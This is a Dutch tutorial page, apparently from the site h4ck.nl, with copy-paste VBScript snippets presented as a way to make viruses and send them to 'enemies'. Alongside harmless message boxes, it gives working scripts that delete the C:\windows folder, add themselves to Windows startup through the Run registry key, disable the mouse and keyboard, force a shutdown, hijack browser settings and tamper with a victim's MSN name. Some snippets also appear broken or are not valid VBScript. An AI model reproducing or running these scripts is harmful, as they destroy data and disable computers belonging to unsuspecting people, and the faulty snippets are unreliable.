Visual basic scripts
Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt.
- Open kladblok
- Stop er wat onderstaande scripts in
- Sla het op als .vbs en dus niet als .vbs.txt maar .vbs!
- En open het, of als hij te erg is stuur hem door naar je vijanden!
Uitleg is recht gedrukt, script is scheefgedrukt
Hieronder enkele scripts:
MEER VISUAL BASIC SCRIPTS? KLIK HIER
- Een Bericht maken:
msgbox "Hej klootzak"
- Een Bericht maken met je eigen Titel
X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ")
- Eeen andere input:
strPtn = InputBox("SOM 2x4=...") If (strptn) = 8 Then: msgbox "Dat is het goede antwoord" do If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...") loop msgbox "test test"
- Een "Inputbox" maken
a=inputbox("Wat is je naam?") msgbox "Tering wat een naam zeg," +a
- Site als startpagina
Set shl = CreateObject("Wscript.shell") Shl.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.h4ck.nl"
- "System Beep"
Set oWS = WScript.CreateObject("WScript.Shell") oWS.Run "%comspec% /c echo " & Chr(07), 0, True
- CD/DVD speler openen:
Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection colCDROMs.Item(i).Eject
- Cdrom open en dicht:
Dim oWMP Dim colCDROMs, i Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If oWMP.close Set colCDROMs = Nothing Set oWMP = Nothing
- Een Folder verwijderen:
' delete Set fso = CreateObject("Scripting.FileSystemObject") Set aFolder = fso.GetFolder("C:\windows") aFolder.Delete
- Een Folder aanmaken:
path = "C:\linux" set filesys=CreateObject("Scripting.FileSystemObject") If Not filesys.FolderExists(path) Then Set folder = filesys.CreateFolder(path) End If
- Een Folder/Bestand openen:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("C:\Windows")
- Een Registerwaarde aanmaken/wijzigen:
(deze zorgt voor het sneller openen van Menu's in Start) Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "55"
- Een programma openen:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("notepad.exe")
- Tekst versturen naar willekeurige applicatie:
WScript.Sleep 400 WshShell.SendKeys " Je tekst " Windows Script laten slapen: WScript.Sleep 800 ( een korte pauze, de waarde 800 kan je veranderen)
- Windows laten afsluiten:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next
- Iets herhalen:
do msgbox "Hallo!" loop msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm" Schermsoorten: vbCritical vbInformation vbExclamation e.a. Knopsoorten: vbOKOnly vbYesNo vbAbortIgnoreRetry e.a.
- Wordpad openen en text typen
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("notepad.exe") WScript.Sleep 100 WshShell.SendKeys "tekst" om enter te doen moet je {enter} typen
- Naam van internet-explorer veranderen
Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Aangeboden door ArmeStakkers.nl"
- In opstart volgorde van windows zetten
Set Shl = CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") winfolder = fso.GetSpecialFolder(0) Set vbsfile = fso.GetFile(WScript.ScriptFullName) vbsfile.Copy winfolder & "je filenaam" Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"
- Dit veranderd de pc naam
Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "h4ck"
- Muis uitschakelen
Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
- Toetsenbord uitschakelen
Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
- Msn naam veranderen van slachtoffer
Public WithEvents msn As MessengerAPI.Messenger Private Sub Form_Load() Set msn = New MessengerAPI.Messenger End Sub Private Sub Timer1_Timer() msn.OptionsPages 0, MOPT_GENERAL_PAGE Pause 0.5 SendKeys " Hier plaats je je tekst" Pause 0.5 SendKeys "{ENTER}" SendKeys "{ENTER}" Me.Show End Sub Sub Pause(interval) Current = Timer Do While Timer - Current < Val(interval) DoEvents Loop End Sub
MEER VISUAL BASIC SCRIPTS? KLIK HIER
***Fouten zijn er uitgehaalt en hij is geüpdate***
Hoe bestand opslaan?
Je hebt vast al wat leuks gemaakt in kladblok of wordpad: )
- Ga naar het menu''bestand'' > kies ''opslaan als''
- Dan vul je een naam in wat eindigt op .vbs (bijvoorbeeld pino.vbs)
- Dan selecteer je daar onder bij ''opslaan als type'' > ''Alle bestanden'' en klik je op opslaan.
|